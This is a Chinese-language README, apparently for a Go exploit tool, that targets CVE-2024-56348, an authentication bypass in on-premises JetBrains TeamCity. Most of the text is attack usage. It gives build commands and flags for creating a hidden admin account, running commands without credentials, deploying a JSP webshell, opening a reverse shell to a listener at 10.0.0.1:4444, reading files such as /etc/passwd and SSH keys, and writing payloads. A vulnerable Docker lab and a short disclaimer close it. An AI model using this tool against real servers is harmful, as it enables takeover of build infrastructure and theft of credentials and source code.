CVE-2024-56348 是一个严重的认证绕过漏洞,影响 JetBrains TeamCity 本地部署 所有早于 2024.12 的版本。REST API 错误地处理包含 ;.jsp 的路径请求,允许未经认证的攻击者像完全认证用户一样调用任意 REST 端点。
此漏洞利用将绕过与 TeamCity 自身的 REST API 结合,创建一个 SYSTEM_ADMIN 账户,生成 API 令牌,并实现 完全远程代码执行 — 通过内置调试端点或动态上传的 JSP 插件 webshell。无需任何凭据。
受影响版本: JetBrains TeamCity 本地部署 < 2024.12
-command 执行单条命令,输出完整的 stdout、stderr 和退出码git clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t 目标 URL (例如 http://127.0.0.1:8111)
-command 执行一条命令并打印输出
-shell 生成反向 shell (需要 -lhost 和 -lport)
-lhost 反向 shell 的监听主机
-lport 反向 shell 的监听端口
-read-file 读取远程文件并打印其内容
-write-file 要写入的远程路径 (需要 -file-content)
-file-content 使用 -write-file 时写入的内容
不指定操作标志时会自动进入 交互式 shell。
连接到目标,确认绕过,创建临时管理员账户,并进入交互式 shell。提示符中的退出码为绿色(成功)或红色(非零)显示。
./cve-2024-56348 -t http://127.0.0.1:8111

运行一条命令并分别打印 stdout、stderr 和退出码。
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

部署 JSP 插件 webshell 并触发反向 shell 回到你的监听器。先启动 nc -lvp 4444。
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

读取 TeamCity 进程有权访问的任何文件 — 对配置文件、SSH 密钥等很有用。
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

向远程路径写入任意内容。可用于投放额外载荷或修改配置。
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

一个自包含的 Docker Compose 环境,内含一个易受攻击的 TeamCity 实例,用于本地测试。 详情请查看 DOCKER.md
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
如果脚本返回 "[-] Plugin upload failed.",请尝试用 hackindex 用户登录然后再试。(凭据可在 DOCKER.md 中找到)
此工具仅供教育和研究目的使用。作者对因使用本工具造成的任何误用或损害不承担任何责任。